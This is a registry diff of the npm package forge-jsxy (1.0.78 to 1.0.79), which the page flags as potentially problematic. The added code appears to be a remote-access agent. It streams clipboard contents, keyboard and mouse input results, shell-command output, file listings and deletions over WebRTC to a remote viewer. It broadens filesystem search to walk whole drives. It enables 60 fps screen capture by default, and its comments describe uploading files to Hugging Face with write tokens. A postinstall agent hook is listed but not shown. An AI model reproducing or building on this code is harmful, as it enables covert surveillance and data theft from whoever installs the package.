forge-jsxy 1.0.78 → 1.0.79
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of forge-jsxy might be problematic. Click here for more details.
- package/assets/files-explorer-template.html +419 -5
- package/assets/remote-control-template.html +673 -179
- package/dist/assets/files-explorer-template.html +420 -6
- package/dist/assets/remote-control-template.html +673 -179
- package/dist/cli-relay.js +3 -0
- package/dist/discordAgentScreenshot.js +13 -7
- package/dist/forgeBulkDc.d.ts +57 -0
- package/dist/forgeBulkDc.js +264 -0
- package/dist/forgeRtcAgent.d.ts +31 -0
- package/dist/forgeRtcAgent.js +259 -0
- package/dist/fsProtocol.d.ts +7 -0
- package/dist/fsProtocol.js +115 -53
- package/dist/hfCredentials.js +4 -1
- package/dist/hfUpload.js +38 -4
- package/dist/relayAgent.js +216 -23
- package/dist/relayDashboardGate.js +8 -0
- package/dist/relayServer.js +180 -25
- package/package.json +5 -3
- package/scripts/copy-assets.mjs +15 -2
- package/scripts/forge-jsx-explorer-upgrade.mjs +1 -1
- package/scripts/postinstall-agent.mjs +13 -0
|
@@ -0,0 +1,259 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.ForgeRtcAgentSession = void 0;
|
|
4
|
+
exports.forgeWebRtcP2PEnabled = forgeWebRtcP2PEnabled;
|
|
5
|
+
exports.agentOutboundPreferRtcDc = agentOutboundPreferRtcDc;
|
|
6
|
+
exports.rtcIceServersForNodeDc = rtcIceServersForNodeDc;
|
|
7
|
+
exports.loadNodeDcPeerConnection = loadNodeDcPeerConnection;
|
|
8
|
+
function forgeWebRtcP2PEnabled() {
|
|
9
|
+
const raw = (process.env.FORGE_JS_WEBRTC_P2P || "1").trim().toLowerCase();
|
|
10
|
+
return !["0", "false", "no", "off"].includes(raw);
|
|
11
|
+
}
|
|
12
|
+
/** ICE UDP multiplexing (libdatachannel): fewer ports; often pairs better with browser bundle/mux. */
|
|
13
|
+
function forgeRtcIceUdpMuxEnabled() {
|
|
14
|
+
const raw = (process.env.FORGE_JS_WEBRTC_ICE_UDP_MUX || "1").trim().toLowerCase();
|
|
15
|
+
return !["0", "false", "no", "off"].includes(raw);
|
|
16
|
+
}
|
|
17
|
+
/** ICE over TCP candidates when UDP is blocked (may trade latency for connectivity). */
|
|
18
|
+
function forgeRtcIceTcpEnabled() {
|
|
19
|
+
const raw = (process.env.FORGE_JS_WEBRTC_ICE_TCP || "1").trim().toLowerCase();
|
|
20
|
+
return !["0", "false", "no", "off"].includes(raw);
|
|
21
|
+
}
|
|
22
|
+
/** Small agent→viewer JSON safe on SCTP data channels (≤ ~32k applied in relayAgent). Large/binary stays on WebSocket. */
|
|
23
|
+
const AGENT_OUTBOUND_RTC_DC_TYPES = new Set([
|
|
24
|
+
"rc_input_result",
|
|
25
|
+
"rc_clipboard_set_result",
|
|
26
|
+
"rc_clipboard_get_result",
|
|
27
|
+
"fs_roots_result",
|
|
28
|
+
"fs_list_result",
|
|
29
|
+
"fs_parent_result",
|
|
30
|
+
"fs_delete_result",
|
|
31
|
+
"fs_error",
|
|
32
|
+
/** Short shell output uses DC; large stdout/stderr exceeds relayAgent 32k cap and falls back to WebSocket. */
|
|
33
|
+
"fs_shell_exec_result",
|
|
34
|
+
"fs_hf_upload_progress",
|
|
35
|
+
]);
|
|
36
|
+
function agentOutboundPreferRtcDc(msgType) {
|
|
37
|
+
return AGENT_OUTBOUND_RTC_DC_TYPES.has(msgType);
|
|
38
|
+
}
|
|
39
|
+
function rtcIceServersForNodeDc(raw) {
|
|
40
|
+
if (!raw || !Array.isArray(raw) || raw.length === 0) {
|
|
41
|
+
return ["stun:stun.l.google.com:19302"];
|
|
42
|
+
}
|
|
43
|
+
const out = [];
|
|
44
|
+
for (const entry of raw) {
|
|
45
|
+
if (typeof entry === "string") {
|
|
46
|
+
const s = entry.trim();
|
|
47
|
+
if (s)
|
|
48
|
+
out.push(s);
|
|
49
|
+
continue;
|
|
50
|
+
}
|
|
51
|
+
if (!entry || typeof entry !== "object")
|
|
52
|
+
continue;
|
|
53
|
+
const o = entry;
|
|
54
|
+
const urlsRaw = o.urls;
|
|
55
|
+
const username = typeof o.username === "string" ? o.username : "";
|
|
56
|
+
const credential = typeof o.credential === "string"
|
|
57
|
+
? o.credential
|
|
58
|
+
: typeof o.credential === "number"
|
|
59
|
+
? String(o.credential)
|
|
60
|
+
: "";
|
|
61
|
+
const pushUrl = (u) => {
|
|
62
|
+
const url = u.trim();
|
|
63
|
+
if (!url)
|
|
64
|
+
return;
|
|
65
|
+
const lower = url.toLowerCase();
|
|
66
|
+
if (username &&
|
|
67
|
+
credential &&
|
|
68
|
+
(lower.startsWith("turn:") || lower.startsWith("turns:"))) {
|
|
69
|
+
const rest = url.replace(/^turns?:/i, "");
|
|
70
|
+
const encU = encodeURIComponent(username);
|
|
71
|
+
const encP = encodeURIComponent(credential);
|
|
72
|
+
const prefix = lower.startsWith("turns:") ? "turns:" : "turn:";
|
|
73
|
+
out.push(`${prefix}${encU}:${encP}@${rest.replace(/^\/\//, "")}`);
|
|
74
|
+
}
|
|
75
|
+
else {
|
|
76
|
+
out.push(url);
|
|
77
|
+
}
|
|
78
|
+
};
|
|
79
|
+
if (typeof urlsRaw === "string") {
|
|
80
|
+
pushUrl(urlsRaw);
|
|
81
|
+
}
|
|
82
|
+
else if (Array.isArray(urlsRaw)) {
|
|
83
|
+
for (const u of urlsRaw) {
|
|
84
|
+
if (typeof u === "string")
|
|
85
|
+
pushUrl(u);
|
|
86
|
+
}
|
|
87
|
+
}
|
|
88
|
+
}
|
|
89
|
+
return out.length > 0 ? out : ["stun:stun.l.google.com:19302"];
|
|
90
|
+
}
|
|
91
|
+
function normalizeRemoteOfferType(raw) {
|
|
92
|
+
const x = raw.trim().toLowerCase();
|
|
93
|
+
if (x === "answer")
|
|
94
|
+
return "answer";
|
|
95
|
+
return "offer";
|
|
96
|
+
}
|
|
97
|
+
class ForgeRtcAgentSession {
|
|
98
|
+
pc;
|
|
99
|
+
destroyed = false;
|
|
100
|
+
constructor(opts) {
|
|
101
|
+
const rtcConfig = {
|
|
102
|
+
iceServers: opts.iceServers,
|
|
103
|
+
iceTransportPolicy: "all",
|
|
104
|
+
};
|
|
105
|
+
if (forgeRtcIceUdpMuxEnabled()) {
|
|
106
|
+
rtcConfig.enableIceUdpMux = true;
|
|
107
|
+
}
|
|
108
|
+
if (forgeRtcIceTcpEnabled()) {
|
|
109
|
+
rtcConfig.enableIceTcp = true;
|
|
110
|
+
}
|
|
111
|
+
const pc = new opts.PeerConnection("forge-agent", rtcConfig);
|
|
112
|
+
this.pc = pc;
|
|
113
|
+
pc.onLocalDescription((sdp, type) => {
|
|
114
|
+
if (this.destroyed)
|
|
115
|
+
return;
|
|
116
|
+
opts.sendSignaling({
|
|
117
|
+
type: "forge_rtc_answer",
|
|
118
|
+
sdp,
|
|
119
|
+
sdpType: type,
|
|
120
|
+
});
|
|
121
|
+
});
|
|
122
|
+
pc.onLocalCandidate((candidate, mid) => {
|
|
123
|
+
if (this.destroyed || !String(candidate || "").trim())
|
|
124
|
+
return;
|
|
125
|
+
opts.sendSignaling({
|
|
126
|
+
type: "forge_rtc_agent_candidate",
|
|
127
|
+
candidate,
|
|
128
|
+
sdpMid: mid,
|
|
129
|
+
});
|
|
130
|
+
});
|
|
131
|
+
pc.onDataChannel((dc) => {
|
|
132
|
+
if (this.destroyed)
|
|
133
|
+
return;
|
|
134
|
+
const label = dc.getLabel();
|
|
135
|
+
const bindInbound = () => {
|
|
136
|
+
dc.onMessage((msg) => {
|
|
137
|
+
if (this.destroyed)
|
|
138
|
+
return;
|
|
139
|
+
let text;
|
|
140
|
+
if (typeof msg === "string") {
|
|
141
|
+
text = msg;
|
|
142
|
+
}
|
|
143
|
+
else if (Buffer.isBuffer(msg)) {
|
|
144
|
+
text = msg.toString("utf8");
|
|
145
|
+
}
|
|
146
|
+
else {
|
|
147
|
+
text = Buffer.from(new Uint8Array(msg)).toString("utf8");
|
|
148
|
+
}
|
|
149
|
+
opts.onInboundDcText(text);
|
|
150
|
+
});
|
|
151
|
+
};
|
|
152
|
+
if (label === "forge-rc") {
|
|
153
|
+
opts.setOutboundDc("main", dc);
|
|
154
|
+
dc.onOpen(() => {
|
|
155
|
+
if (this.destroyed)
|
|
156
|
+
return;
|
|
157
|
+
opts.sendSignaling({
|
|
158
|
+
type: "forge_rtc_agent_status",
|
|
159
|
+
ok: true,
|
|
160
|
+
datachannel: true,
|
|
161
|
+
});
|
|
162
|
+
});
|
|
163
|
+
dc.onClosed(() => {
|
|
164
|
+
opts.setOutboundDc("main", null);
|
|
165
|
+
this.close();
|
|
166
|
+
opts.onFatal();
|
|
167
|
+
});
|
|
168
|
+
dc.onError((_err) => {
|
|
169
|
+
opts.setOutboundDc("main", null);
|
|
170
|
+
this.close();
|
|
171
|
+
opts.onFatal();
|
|
172
|
+
});
|
|
173
|
+
bindInbound();
|
|
174
|
+
}
|
|
175
|
+
else if (label === "forge-rc-input") {
|
|
176
|
+
opts.setOutboundDc("input", dc);
|
|
177
|
+
dc.onClosed(() => opts.setOutboundDc("input", null));
|
|
178
|
+
dc.onError((_err) => opts.setOutboundDc("input", null));
|
|
179
|
+
bindInbound();
|
|
180
|
+
}
|
|
181
|
+
else if (label === "forge-bulk") {
|
|
182
|
+
const api = {
|
|
183
|
+
sendMessage: (s) => dc.sendMessage(s),
|
|
184
|
+
sendMessageBinary: (b) => dc.sendMessageBinary(b),
|
|
185
|
+
isOpen: () => dc.isOpen(),
|
|
186
|
+
};
|
|
187
|
+
opts.setOutboundDc("bulk", api);
|
|
188
|
+
dc.onClosed(() => opts.setOutboundDc("bulk", null));
|
|
189
|
+
dc.onError((_err) => opts.setOutboundDc("bulk", null));
|
|
190
|
+
dc.onMessage(() => {
|
|
191
|
+
/* Viewer→agent bulk not used in v1 */
|
|
192
|
+
});
|
|
193
|
+
}
|
|
194
|
+
else {
|
|
195
|
+
try {
|
|
196
|
+
dc.close();
|
|
197
|
+
}
|
|
198
|
+
catch {
|
|
199
|
+
/* skip */
|
|
200
|
+
}
|
|
201
|
+
}
|
|
202
|
+
});
|
|
203
|
+
try {
|
|
204
|
+
pc.setRemoteDescription(opts.sdp, normalizeRemoteOfferType(opts.sdpType));
|
|
205
|
+
}
|
|
206
|
+
catch (e) {
|
|
207
|
+
if (!opts.quiet) {
|
|
208
|
+
console.warn(`[forge-agent] WebRTC setRemoteDescription failed: ${String(e)}`);
|
|
209
|
+
}
|
|
210
|
+
opts.sendSignaling({
|
|
211
|
+
type: "forge_rtc_agent_status",
|
|
212
|
+
ok: false,
|
|
213
|
+
datachannel: false,
|
|
214
|
+
detail: `setRemoteDescription: ${String(e)}`,
|
|
215
|
+
});
|
|
216
|
+
this.close();
|
|
217
|
+
throw e;
|
|
218
|
+
}
|
|
219
|
+
}
|
|
220
|
+
addRemoteIce(candidate, mid) {
|
|
221
|
+
if (this.destroyed || !String(candidate || "").trim())
|
|
222
|
+
return;
|
|
223
|
+
try {
|
|
224
|
+
this.pc.addRemoteCandidate(candidate, mid || "");
|
|
225
|
+
}
|
|
226
|
+
catch {
|
|
227
|
+
/* ignore malformed trickle ICE */
|
|
228
|
+
}
|
|
229
|
+
}
|
|
230
|
+
close() {
|
|
231
|
+
if (this.destroyed)
|
|
232
|
+
return;
|
|
233
|
+
this.destroyed = true;
|
|
234
|
+
try {
|
|
235
|
+
this.pc.close();
|
|
236
|
+
}
|
|
237
|
+
catch {
|
|
238
|
+
/* skip */
|
|
239
|
+
}
|
|
240
|
+
}
|
|
241
|
+
}
|
|
242
|
+
exports.ForgeRtcAgentSession = ForgeRtcAgentSession;
|
|
243
|
+
function loadNodeDcPeerConnection() {
|
|
244
|
+
try {
|
|
245
|
+
require.resolve("node-datachannel");
|
|
246
|
+
}
|
|
247
|
+
catch {
|
|
248
|
+
return null;
|
|
249
|
+
}
|
|
250
|
+
try {
|
|
251
|
+
// Optional native dependency — may be absent on some installs.
|
|
252
|
+
// eslint-disable-next-line @typescript-eslint/no-require-imports
|
|
253
|
+
const m = require("node-datachannel");
|
|
254
|
+
return m.PeerConnection;
|
|
255
|
+
}
|
|
256
|
+
catch {
|
|
257
|
+
return null;
|
|
258
|
+
}
|
|
259
|
+
}
|
package/dist/fsProtocol.d.ts
CHANGED
|
@@ -5,6 +5,13 @@ export declare const MAX_LIST_ENTRIES = 1000000;
|
|
|
5
5
|
* (~92 MiB raw → ~123 MiB base64 + JSON, under relay `maxPayload` 2**27).
|
|
6
6
|
*/
|
|
7
7
|
export declare const MAX_READ_BYTES: number;
|
|
8
|
+
/**
|
|
9
|
+
* True when the listing directory is a bare OS filesystem root (Windows `C:\\`, POSIX `/`).
|
|
10
|
+
* User-data search narrowing applies **only** here: searching from `C:\\Users\\me` must still walk
|
|
11
|
+
* Pictures, Videos, etc., not only Desktop/Documents/Downloads intersect roots.
|
|
12
|
+
*/
|
|
13
|
+
export declare function fsSearchListingIsFilesystemRoot(dirResolved: string): boolean;
|
|
14
|
+
export declare function fsSearchWalkAllowsCurReal(curRealNorm: string, listingDirNorm: string, listingDirResolved: string, enforceUserScope: boolean, userSubtreeRoots: string[] | null): boolean;
|
|
8
15
|
export declare function allowedFsRoots(): string[];
|
|
9
16
|
export declare function resolveFsPath(pathStr: string, roots: string[]): {
|
|
10
17
|
path: string;
|
package/dist/fsProtocol.js
CHANGED
|
@@ -37,6 +37,8 @@ var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
|
37
37
|
};
|
|
38
38
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
39
39
|
exports.MAX_READ_BYTES = exports.MAX_LIST_ENTRIES = void 0;
|
|
40
|
+
exports.fsSearchListingIsFilesystemRoot = fsSearchListingIsFilesystemRoot;
|
|
41
|
+
exports.fsSearchWalkAllowsCurReal = fsSearchWalkAllowsCurReal;
|
|
40
42
|
exports.allowedFsRoots = allowedFsRoots;
|
|
41
43
|
exports.resolveFsPath = resolveFsPath;
|
|
42
44
|
exports.fsListDir = fsListDir;
|
|
@@ -214,22 +216,6 @@ const SEARCH_SKIP_WINDOWS_SYSTEM_DIRS = new Set([
|
|
|
214
216
|
"perflogs",
|
|
215
217
|
"msocache",
|
|
216
218
|
]);
|
|
217
|
-
const SEARCH_SKIP_UNIX_SYSTEM_DIRS = new Set([
|
|
218
|
-
"proc",
|
|
219
|
-
"sys",
|
|
220
|
-
"dev",
|
|
221
|
-
"run",
|
|
222
|
-
"var",
|
|
223
|
-
"usr",
|
|
224
|
-
"bin",
|
|
225
|
-
"sbin",
|
|
226
|
-
"lib",
|
|
227
|
-
"lib64",
|
|
228
|
-
"opt",
|
|
229
|
-
"snap",
|
|
230
|
-
"tmp",
|
|
231
|
-
"lost+found",
|
|
232
|
-
]);
|
|
233
219
|
const SEARCH_SKIP_SYSTEM_FILES = new Set(["pagefile.sys", "hiberfil.sys", "swapfile.sys"]);
|
|
234
220
|
function userDataSearchRoots() {
|
|
235
221
|
const out = [];
|
|
@@ -317,18 +303,60 @@ function pathIntersectsSearchScope(p, scopeRoots) {
|
|
|
317
303
|
}
|
|
318
304
|
return false;
|
|
319
305
|
}
|
|
320
|
-
|
|
321
|
-
|
|
306
|
+
/**
|
|
307
|
+
* True when the listing directory is a bare OS filesystem root (Windows `C:\\`, POSIX `/`).
|
|
308
|
+
* User-data search narrowing applies **only** here: searching from `C:\\Users\\me` must still walk
|
|
309
|
+
* Pictures, Videos, etc., not only Desktop/Documents/Downloads intersect roots.
|
|
310
|
+
*/
|
|
311
|
+
function fsSearchListingIsFilesystemRoot(dirResolved) {
|
|
312
|
+
try {
|
|
313
|
+
const rp = normCase(path.normalize(fs.realpathSync(dirResolved)));
|
|
314
|
+
if (!isWindows())
|
|
315
|
+
return rp === "/" || rp === "//";
|
|
316
|
+
return /^[a-z]:\\?$/.test(rp);
|
|
317
|
+
}
|
|
318
|
+
catch {
|
|
319
|
+
return false;
|
|
320
|
+
}
|
|
321
|
+
}
|
|
322
|
+
function fsSearchWalkAllowsCurReal(curRealNorm, listingDirNorm, listingDirResolved, enforceUserScope, userSubtreeRoots) {
|
|
323
|
+
if (!pathUnder(curRealNorm, listingDirNorm))
|
|
324
|
+
return false;
|
|
325
|
+
const narrowToUserSubtrees = enforceUserScope &&
|
|
326
|
+
userSubtreeRoots != null &&
|
|
327
|
+
userSubtreeRoots.length > 0 &&
|
|
328
|
+
fsSearchListingIsFilesystemRoot(listingDirResolved);
|
|
329
|
+
if (narrowToUserSubtrees)
|
|
330
|
+
return pathIntersectsSearchScope(curRealNorm, userSubtreeRoots);
|
|
331
|
+
return true;
|
|
332
|
+
}
|
|
333
|
+
/**
|
|
334
|
+
* Skip rules while walking the search tree. Unix: **do not** skip by basename (`tmp/`, `bin/`, etc.)
|
|
335
|
+
* inside project trees — only skip resolved paths under kernel/virtual mounts (`/proc`, `/sys`, …).
|
|
336
|
+
*/
|
|
337
|
+
function shouldSkipSearchTreeEntry(childAbs, baseName, isDir) {
|
|
338
|
+
const n = String(baseName || "").trim().toLowerCase();
|
|
322
339
|
if (!n)
|
|
323
340
|
return false;
|
|
324
|
-
if (isDir
|
|
325
|
-
return
|
|
326
|
-
|
|
327
|
-
|
|
328
|
-
if (isDir && !isWindows() && SEARCH_SKIP_UNIX_SYSTEM_DIRS.has(n))
|
|
341
|
+
if (!isDir) {
|
|
342
|
+
return SEARCH_SKIP_SYSTEM_FILES.has(n);
|
|
343
|
+
}
|
|
344
|
+
if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(baseName))
|
|
329
345
|
return true;
|
|
330
|
-
if (
|
|
346
|
+
if (isWindows() && SEARCH_SKIP_WINDOWS_SYSTEM_DIRS.has(n))
|
|
331
347
|
return true;
|
|
348
|
+
if (!isWindows()) {
|
|
349
|
+
try {
|
|
350
|
+
const rp = normCase(fs.realpathSync(childAbs));
|
|
351
|
+
for (const pre of ["/proc", "/sys", "/dev", "/run"]) {
|
|
352
|
+
if (rp === pre || rp.startsWith(pre + path.sep))
|
|
353
|
+
return true;
|
|
354
|
+
}
|
|
355
|
+
}
|
|
356
|
+
catch {
|
|
357
|
+
/* broken symlink / unreadable — still allow match attempt */
|
|
358
|
+
}
|
|
359
|
+
}
|
|
332
360
|
return false;
|
|
333
361
|
}
|
|
334
362
|
function searchUserDataOnlyEnabled() {
|
|
@@ -337,7 +365,11 @@ function searchUserDataOnlyEnabled() {
|
|
|
337
365
|
.toLowerCase();
|
|
338
366
|
if (raw)
|
|
339
367
|
return ["1", "true", "yes", "on"].includes(raw);
|
|
340
|
-
|
|
368
|
+
/**
|
|
369
|
+
* Production default on: from a drive/root-like listing, recursive search stays under profile-related
|
|
370
|
+
* subtrees. Folders **outside** those (other volumes, `/tmp`, etc.) still deep-search starting at the
|
|
371
|
+
* current directory — see `scopeRoots` fallback in {@link fsListDir}.
|
|
372
|
+
*/
|
|
341
373
|
return String(process.env.NODE_ENV || "").trim().toLowerCase() !== "test";
|
|
342
374
|
}
|
|
343
375
|
/**
|
|
@@ -633,30 +665,37 @@ function fsListDir(pathStr, roots = null, searchQuery = "") {
|
|
|
633
665
|
const searchScanCap = maxSearchScanEntries();
|
|
634
666
|
const userScopeRoots = userDataSearchRoots();
|
|
635
667
|
const enforceUserScope = searchUserDataOnlyEnabled();
|
|
636
|
-
|
|
637
|
-
|
|
638
|
-
|
|
639
|
-
|
|
640
|
-
|
|
641
|
-
|
|
642
|
-
|
|
643
|
-
|
|
644
|
-
|
|
645
|
-
|
|
646
|
-
truncated: false,
|
|
647
|
-
search_query: parsedSearch.normalized,
|
|
648
|
-
search_applied: true,
|
|
649
|
-
search_recursive: true,
|
|
650
|
-
search_scan_limited: false,
|
|
651
|
-
search_scanned_entries: 0,
|
|
652
|
-
};
|
|
668
|
+
/**
|
|
669
|
+
* Optional subtrees (Desktop/Documents/Downloads, …) used **only** when the listing path is a bare
|
|
670
|
+
* filesystem root (`C:\\`, `/`). Otherwise the walk is bounded by {@link pathUnder}(`cur`, `dir`)
|
|
671
|
+
* so profile folders like Pictures/Videos are never incorrectly excluded.
|
|
672
|
+
*/
|
|
673
|
+
let userSubtreeRoots = null;
|
|
674
|
+
if (enforceUserScope && userScopeRoots.length > 0) {
|
|
675
|
+
const intersecting = userScopeRoots.filter((root) => pathIntersectsSearchScope(dir, [root]));
|
|
676
|
+
if (intersecting.length > 0)
|
|
677
|
+
userSubtreeRoots = intersecting;
|
|
653
678
|
}
|
|
679
|
+
const listingDirNorm = normCase(path.normalize(dir));
|
|
654
680
|
const queue = [{ abs: dir, rel: "" }];
|
|
655
681
|
let qIdx = 0;
|
|
682
|
+
/** Avoid cycles / duplicate work when directory symlinks point into already-visited real paths. */
|
|
683
|
+
const visitedSearchRealPaths = new Set();
|
|
656
684
|
while (qIdx < queue.length) {
|
|
657
685
|
const cur = queue[qIdx++];
|
|
658
|
-
|
|
686
|
+
let curReal = "";
|
|
687
|
+
try {
|
|
688
|
+
curReal = normCase(fs.realpathSync(cur.abs));
|
|
689
|
+
}
|
|
690
|
+
catch {
|
|
691
|
+
continue;
|
|
692
|
+
}
|
|
693
|
+
if (visitedSearchRealPaths.has(curReal))
|
|
659
694
|
continue;
|
|
695
|
+
visitedSearchRealPaths.add(curReal);
|
|
696
|
+
if (!fsSearchWalkAllowsCurReal(curReal, listingDirNorm, dir, enforceUserScope, userSubtreeRoots)) {
|
|
697
|
+
continue;
|
|
698
|
+
}
|
|
660
699
|
let names;
|
|
661
700
|
try {
|
|
662
701
|
names = fs.readdirSync(cur.abs, { withFileTypes: true });
|
|
@@ -672,12 +711,16 @@ function fsListDir(pathStr, roots = null, searchQuery = "") {
|
|
|
672
711
|
searchScanLimited = true;
|
|
673
712
|
break;
|
|
674
713
|
}
|
|
675
|
-
if (shouldSkipSearchEntryName(ent.name, ent.isDirectory()))
|
|
676
|
-
continue;
|
|
677
714
|
const childAbs = path.join(cur.abs, ent.name);
|
|
678
715
|
const childRel = cur.rel ? path.join(cur.rel, ent.name) : ent.name;
|
|
679
|
-
if (
|
|
716
|
+
if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(ent.name))
|
|
717
|
+
continue;
|
|
718
|
+
if (isWindows() &&
|
|
719
|
+
ent.isDirectory() &&
|
|
720
|
+
!ent.isSymbolicLink() &&
|
|
721
|
+
SEARCH_SKIP_WINDOWS_SYSTEM_DIRS.has(String(ent.name || "").trim().toLowerCase())) {
|
|
680
722
|
continue;
|
|
723
|
+
}
|
|
681
724
|
if (macosPathRequiresTccPrompt(childAbs))
|
|
682
725
|
continue;
|
|
683
726
|
let lst;
|
|
@@ -695,9 +738,9 @@ function fsListDir(pathStr, roots = null, searchQuery = "") {
|
|
|
695
738
|
catch {
|
|
696
739
|
continue;
|
|
697
740
|
}
|
|
698
|
-
if (
|
|
741
|
+
if (shouldSkipSearchTreeEntry(childAbs, ent.name, isDir))
|
|
699
742
|
continue;
|
|
700
|
-
if (isDir
|
|
743
|
+
if (isDir)
|
|
701
744
|
queue.push({ abs: childAbs, rel: childRel });
|
|
702
745
|
if (!fsEntryMatchesSearch(ent.name, childRel, parsedSearch.tokens))
|
|
703
746
|
continue;
|
|
@@ -2365,17 +2408,33 @@ function remoteStreamUseVirtualOffsets() {
|
|
|
2365
2408
|
return ["1", "true", "yes", "on"].includes(raw);
|
|
2366
2409
|
}
|
|
2367
2410
|
/**
|
|
2368
|
-
* Fast gdigrab path for Windows remote_stream
|
|
2369
|
-
*
|
|
2370
|
-
*
|
|
2411
|
+
* Fast ffmpeg gdigrab path for Windows `remote_stream`. **On by default** for lower
|
|
2412
|
+
* capture latency; falls back to full VirtualScreen PowerShell capture when gdigrab
|
|
2413
|
+
* looks partial/wrong. Disable with `FORGE_JS_REMOTE_STREAM_FAST_CAPTURE=0` (or
|
|
2414
|
+
* `false` / `no` / `off`) if a host misbehaves with gdigrab.
|
|
2371
2415
|
*/
|
|
2372
2416
|
function remoteStreamUseFastCapture() {
|
|
2373
2417
|
const raw = String(process.env.FORGE_JS_REMOTE_STREAM_FAST_CAPTURE || "")
|
|
2374
2418
|
.trim()
|
|
2375
2419
|
.toLowerCase();
|
|
2376
2420
|
if (!raw)
|
|
2421
|
+
return true;
|
|
2422
|
+
if (["0", "false", "no", "off"].includes(raw))
|
|
2377
2423
|
return false;
|
|
2378
|
-
return
|
|
2424
|
+
return true;
|
|
2425
|
+
}
|
|
2426
|
+
/**
|
|
2427
|
+
* ffmpeg MJPEG `-q:v` for Windows gdigrab remote_stream (2 = high quality / larger,
|
|
2428
|
+
* 31 = smaller / faster). Override via `FORGE_JS_REMOTE_STREAM_JPEG_Q`.
|
|
2429
|
+
*/
|
|
2430
|
+
function remoteStreamJpegQuality() {
|
|
2431
|
+
const raw = String(process.env.FORGE_JS_REMOTE_STREAM_JPEG_Q || "").trim();
|
|
2432
|
+
if (!raw)
|
|
2433
|
+
return 6;
|
|
2434
|
+
const n = parseInt(raw, 10);
|
|
2435
|
+
if (!Number.isFinite(n))
|
|
2436
|
+
return 6;
|
|
2437
|
+
return Math.min(31, Math.max(2, n));
|
|
2379
2438
|
}
|
|
2380
2439
|
function cameraOverlayEnabledByDefault() {
|
|
2381
2440
|
const raw = String(process.env.FORGE_JS_CAMERA_OVERLAY_ENABLED || "").trim().toLowerCase();
|
|
@@ -5490,6 +5549,7 @@ async function fsWindowsScreenshotCapture(options) {
|
|
|
5490
5549
|
const vb = hasCachedBounds
|
|
5491
5550
|
? getWindowsVirtualScreenBoundsCached(Number(windowsVirtualBoundsCache?.bounds?.w || 1920), Number(windowsVirtualBoundsCache?.bounds?.h || 1080))
|
|
5492
5551
|
: null;
|
|
5552
|
+
const jpegQ = remoteStreamJpegQuality();
|
|
5493
5553
|
const args = [
|
|
5494
5554
|
"-nostdin",
|
|
5495
5555
|
"-hide_banner",
|
|
@@ -5498,6 +5558,8 @@ async function fsWindowsScreenshotCapture(options) {
|
|
|
5498
5558
|
"-y",
|
|
5499
5559
|
"-f",
|
|
5500
5560
|
"gdigrab",
|
|
5561
|
+
"-framerate",
|
|
5562
|
+
"60",
|
|
5501
5563
|
"-draw_mouse",
|
|
5502
5564
|
"1",
|
|
5503
5565
|
"-i",
|
|
@@ -5509,7 +5571,7 @@ async function fsWindowsScreenshotCapture(options) {
|
|
|
5509
5571
|
if (vf) {
|
|
5510
5572
|
args.push("-vf", vf);
|
|
5511
5573
|
}
|
|
5512
|
-
args.push("-q:v",
|
|
5574
|
+
args.push("-q:v", String(jpegQ), "-frames:v", "1", outJpg);
|
|
5513
5575
|
const ok = await trySpawnScreenshotTool(ffmpeg, args, outJpg, 12_000);
|
|
5514
5576
|
if (ok && fs.existsSync(outJpg)) {
|
|
5515
5577
|
const fast = await resultFromPngPath(outJpg, options);
|
package/dist/hfCredentials.js
CHANGED
|
@@ -14,12 +14,14 @@ exports.encryptHfCredentialsJson = encryptHfCredentialsJson;
|
|
|
14
14
|
* Nothing is written to disk on the agent for that path. Use **`wss://`** in production so tokens
|
|
15
15
|
* are not sent in clear text. After each Hub upload that used relay-fetched credentials, call
|
|
16
16
|
* `scrubHfCredentialsInPlace` on that object so the token field is cleared
|
|
17
|
-
* (JavaScript cannot truly wipe string contents in memory).
|
|
17
|
+
* (JavaScript cannot truly wipe string contents in memory). The relay also scrubs its decrypted
|
|
18
|
+
* copy immediately after sending `relay_hf_credentials_result` over the socket.
|
|
18
19
|
*
|
|
19
20
|
* Set `CFGMGR_HF_CREDENTIALS_B64` on the **agent** to base64(iv12 || tag16 || ciphertext) where
|
|
20
21
|
* plaintext UTF-8 JSON is:
|
|
21
22
|
* `{ "token": "hf_...", "hubUrl": "https://huggingface.co", "namespace": "your_hf_user" }`
|
|
22
23
|
* (`hubUrl` optional; `namespace` = Hugging Face username or org for automatic `namespace/<seq_id>` session repos).
|
|
24
|
+
* The token must allow **writing** Hub repos (classic: enable Write; fine-grained: Repositories → write for that user/org).
|
|
23
25
|
*
|
|
24
26
|
* Optional dev escape hatch (not for production): `CFGMGR_HF_ALLOW_PLAINTEXT=1` with
|
|
25
27
|
* `HUGGINGFACE_HUB_TOKEN` and optional `HUGGINGFACE_HUB_URL`.
|
|
@@ -28,6 +30,7 @@ exports.encryptHfCredentialsJson = encryptHfCredentialsJson;
|
|
|
28
30
|
* `CFGMGR_HF_MIN_FETCH_INTERVAL_MS`, `CFGMGR_HF_USE_XET` (written `0` in agent env; uploads do not use Hub Xet),
|
|
29
31
|
* `CFGMGR_HF_SKIP_OPENAS_BLOB` (default `1` — avoid `fs.openAsBlob` Hub payload path),
|
|
30
32
|
* `CFGMGR_HF_FETCH_RETRIES` / `CFGMGR_HF_FETCH_RETRY_MS`, `CFGMGR_HF_UPLOAD_RETRIES` / `CFGMGR_HF_UPLOAD_RETRY_MS`,
|
|
33
|
+
* `CFGMGR_HF_HUB_CUSTOM_FETCH=1` (optional legacy Hub fetch wrappers — default **off**; enabling can break LFS uploads),
|
|
31
34
|
* `CFGMGR_HF_VERBOSE_ERRORS=1` — see `hfUpload.ts`.
|
|
32
35
|
*/
|
|
33
36
|
const node_crypto_1 = require("node:crypto");
|
package/dist/hfUpload.js
CHANGED
|
@@ -55,7 +55,11 @@ exports.runHfUpload = runHfUpload;
|
|
|
55
55
|
* `CFGMGR_HF_LEGACY_MAX_BYTES`).
|
|
56
56
|
* Tree paths are sanitized (`..`, control chars). Hub **Xet is never used** for uploads (LFS only).
|
|
57
57
|
*
|
|
58
|
-
*
|
|
58
|
+
